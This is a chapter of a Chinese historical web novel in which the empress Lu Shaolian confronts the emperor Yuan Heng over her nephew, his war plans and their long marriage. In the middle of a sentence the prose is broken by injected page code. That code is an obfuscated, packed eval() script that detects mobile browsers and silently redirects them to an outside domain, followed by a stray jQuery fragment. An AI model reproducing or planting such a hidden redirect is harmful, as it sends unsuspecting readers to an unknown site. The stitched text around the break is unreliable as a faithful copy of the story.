“等了很久?”
陆韶怜不知道自己在赋阳宫的偏殿等了多久,她扶着脑袋晕晕欲睡。
这宫殿里的香点得足,因为元衡总是头疼,需要些熏香安神,而陆韶怜不喜欢这些味道。
元衡的手替陆韶怜承了力,陆韶怜也毫不客气的由元衡拖着自己的脑袋。
“是很久,久到我不想等你了。”
元衡笑了笑,走到陆韶怜身后替她揉着太阳穴,“裕苑那个刚死了父亲,于情于理我也得去看看。”
陆韶怜没接话,她闭着眼睛任由元衡摆弄着自己的脑袋。
“饿了吗?我让人盛点酒酿。”
陆韶怜点头,抬手止住了元衡的动作。
“我很少主动来你的宫殿,你也不问问为什么?”
元衡轻笑一声绕到陆韶怜面前,坐在了她旁边的木椅上,“你是很少来,所以你一定有事。不过你不说,那我也不说,我不喜欢和你谈公事。”
陆韶怜撇了撇嘴,“我就是被你这么养废的。”
元衡脸上笑意更浓,“废了吗?我瞧着那两个儿子你就教养得很好,我很感谢你。”
陆韶怜眼色暗了暗,“可我呢?还好吗?”
元衡瞧得出陆韶怜的心事,但他不愿主动挑明。
陆韶怜很少来找他,也不会来求他,她如今心里有所求,面子上却依旧盛气凌人,元衡想着,这世上估计就她陆韶怜来求人是这副模样。
可这是他二十多年前巴巴求来的姑娘,他生不了她的气。
“很好啊,若你没有把马场交出去,我和你此时该在马场策马驰骋。虽说我老了,可陪你还是可以的。”
元衡单手撑着脑袋,斜靠在桌边。他今日白天和孔肃为首的几个辅臣谈了一天公事,三句不离东亭和陆家,他含糊其辞地搪塞过去了,他算准了陆韶怜要来找自己。
其实裕苑他也可以不去,但他就想让陆韶怜等自己,他希望陆韶怜在等待的时间中下定决心。
同床共枕快三十年,元衡也很了解陆韶怜,从陆晁下狱时他就在等陆韶怜来找自己,可直到陆栖川失踪,陆栖野领兵离开马场,陆韶怜都一言不发。
他们成亲二十多年,他们就周旋了二十多年,当初元衡作为皇子亲征时陆韶怜便拿着一股劲,她心里既有对元衡的喜欢,也有对他的不服气,元衡都知道。
陆韶怜就像是她自己养出来马,天生就不服管,可是一旦认定了主人,就会心甘情愿低下头。
元衡觉得自己这一辈子也没让陆韶怜低过头。
不过也挺好,陆韶怜这辈子没向任何人低过头。
“你在怪我乱了你的计划?”
元衡摇头,“你乱不了,二十年前是,现在也是。”
陆韶怜抬头看着元衡,“你早就知道我把马场交给陆栖野的原因?”
元衡笑而不语,陆韶怜也陪着他笑,“也对,我久居深宫早就不是能与你相抗的陆将军了。”
陆韶怜的语气意味不明,元衡微微挑眉对上了她的视线,“哟,我关住了两个陆将军,怎么忘了自己家里还有一个。”
可陆韶怜并没有想要顺着元衡开玩笑的话说,她脸色冷了冷,“这是你与哥哥商量出的权宜之计,我不至于连这个都看不出来。可是你们放走了陆栖野,放走了最像我的人。”
元衡没说话,陆韶怜便自顾自地吐露心肠。
“我以为我能看懂你,却发现你依旧捉摸不透。你既然下定主意要拿东亭做打开南魏的矛,又为什么不拦着陆栖野?是,他的确把陈京观当作朋友,可你拿定主意的事情,你有一万种阻拦他的方法。你现在让他加入这乱局,是何故?”
“你也说了,他是最像你的,若当初你真的不愿意,我就是下令陆家满门抄斩你也不会嫁给我,那你觉得我把陆栖野关起来,他就能放弃了?”元衡嘴角勾着笑,“怕是到时候你还是要来找我,更冷言冷语地讨要你这个侄子。”
“那现在呢?陆栖野一心要和陈京观打出个天下,你不出兵,就看着他去送死?”
元衡没有回答陆韶怜的话,他话锋一转问道:“怜儿,你还记得我们拿下济州的时候,约定要用几年拿下南魏吗?”
陆韶怜一时间哑声,她当然记得,三年,她信誓旦旦要用三年荡平南魏。
“你做了皇后,丢掉了那身引以为傲的铠甲,你不甘心,你觉得是我埋没了你。可我也做了皇帝,也丢了那身铠甲,我也不甘心,可我没人能怪。这是皇位啊,我披荆斩棘不就是要这皇位吗,可为何我不甘心?”
元衡说着,陆韶怜瞧见他眼神里闪着烛光,他的影子如夜色一般沉了下来,覆盖在她的身上。
“我老了,我比你还大上十岁呢,”元衡笑着说,“这老天留给我的时间不多了,我想看看统一的天下。”
不是元衡不愿等,而是他等不起了。日渐衰老的躯体,日渐萎靡的精神,他不知道自己将倒在哪一天,他不想给元焕留下一个烂摊子。
“陈京观的一万兵力再加上陆家马场的一万,能与东亭军碰一碰。”
“可是晏离鸿带走的那些人,也归了东亭军。”
闻言,元衡身子一震,他是想过这些人去了哪里,但是昌安营是陆晁练出来的兵,他们的行踪难以捉摸。
“你从哪里知道的?”
“迷津传了陈京观的话,晏离鸿去找过他,亲口说了军令在姚康手里。”
元衡眼神中闪过一丝狠戾,“他们见过面?但是他让晏离鸿跑了?”
陆韶怜没有回答,元衡也没有深究,他叹了一口气语气和缓了些,“算了,不过都是些小孩。这件事我知道了,你先回去吧。”
陆韶怜没有动,元衡转身看她,“还有话说?”
“你就没有想过,我们亲自带出来的兵,为什么轻而易举就被人拿了去?”
元衡目光闪烁,喉头上下颤动,他记得陆晁的话,他说这用兵拿来的天下,终有一日会被人用兵拿去。
“元衡,我们都老了。或许是老天爷拦下了你的刀,是他不想让你继续杀戮。你拼命拿下的江山,可曾认真去看过?”
元衡不语,陆韶怜继续道:“你是天选的将才,却不是治世的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026906|146751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明君,因为将须狠,而君须善。元衡,你的野心太大了,你会被自己杀死的。”
“可这不是我们共同的愿望吗?”
陆韶怜笑道:“那是陆将军和太子的愿望,你我如今已是帝后。”
陆韶怜顿声后继续说,“我嫁了你这许多年,怪了你这许多年,如今想明白了,不过是我自欺欺人。那元衡你呢,一意孤行非要打这一仗,是为了什么?”
“为了儿子,也为了我自己。一统天下,已经是我的执念了。”
元衡没有告诉陆韶怜,他做皇帝的这些年常常午夜惊醒,他梦见过去将血溅在他脸上的人就站在他的床榻前,他想呼救,可是叫进来的却是那人的帮凶。
只有一统天下,让这天下都姓元,他才能睡个好觉。
“你今日来找我的意图我明白了,陆栖野是我北梁的好儿郎,我不会放任他平白无故死在沙场。但是我要做的,你别拦我。”
陆韶怜突然觉得眼前的人固执得可怕,她以为纵使她与元衡不再是并肩而行的战友,至少她该是他的体己人,但是这些年的疏离将他二人隔开,相见不相亲。
“今日若没事,就歇在这里吧。今早元煜还送了他去禹州猎来的鹿,明日我让人炖了你尝尝。”
“他去禹州做甚?”
陆韶怜心头闪过一丝怀疑,但很快被自己抑住。
元煜虽没有元焕的才能,但毕竟是她一手养大的孩子,他本性不坏。不过就是有些骄横,倒也随了她。
“说是去沧州看了看林家,顺路从慕江逛了逛。孩子大了,这深宫锁不住他,由他去吧。”
陆韶怜没有再说什么,元煜长成如今这般潇洒性子,是元衡和她一手调教出来的。
一山不容二虎,元焕是既定的君王,那元煜就该少些锋芒,做个快乐的王爷就好。
元衡后宫人不多,还都是陆韶怜选过的,除却元焕元煜,就两个公主和一个刚十岁的小皇子。
这么多年元衡有意避着,那后宫里的多是大臣塞进来讨赏的,他不想让任何人觊觎元焕的皇位。那个十岁的小皇子,还是他母亲行了些不可说的事才留下的。
“别操心小辈了。明日上朝,我会让孔肃看着办,不会伤着小野的。”
元衡见陆韶怜还是不放心,又补了一句,“孔肃你也不必担心,他掀不起风浪,他手上不会拿兵权。”
陆韶怜看了元衡一眼,元衡安抚着拍了拍她的背。
那一夜陆韶怜对着元衡说了很多压在心里的话,那些话说出去,也就松了她心里的一口气。
第二日清晨,陆韶怜着人送了一套锦绣去陆府,说是给方夫人的赔礼。方荔收到后从衣服的夹层看到了陆韶怜的信。
“没想到当初我的意气用事,竟困了你我这么多年。我只是不服这天下为何男子要活得更容易些,若哥哥没有你的马场,这昌安营的将军理应是我的。可我也佩服你,是越来越佩服你。方荔,哥哥能娶到你是他的福气,也是我陆家的福气。小野我定会保下,她这个姑母是养尊处优了半辈子,可也曾是这北梁赫赫有名的将军。”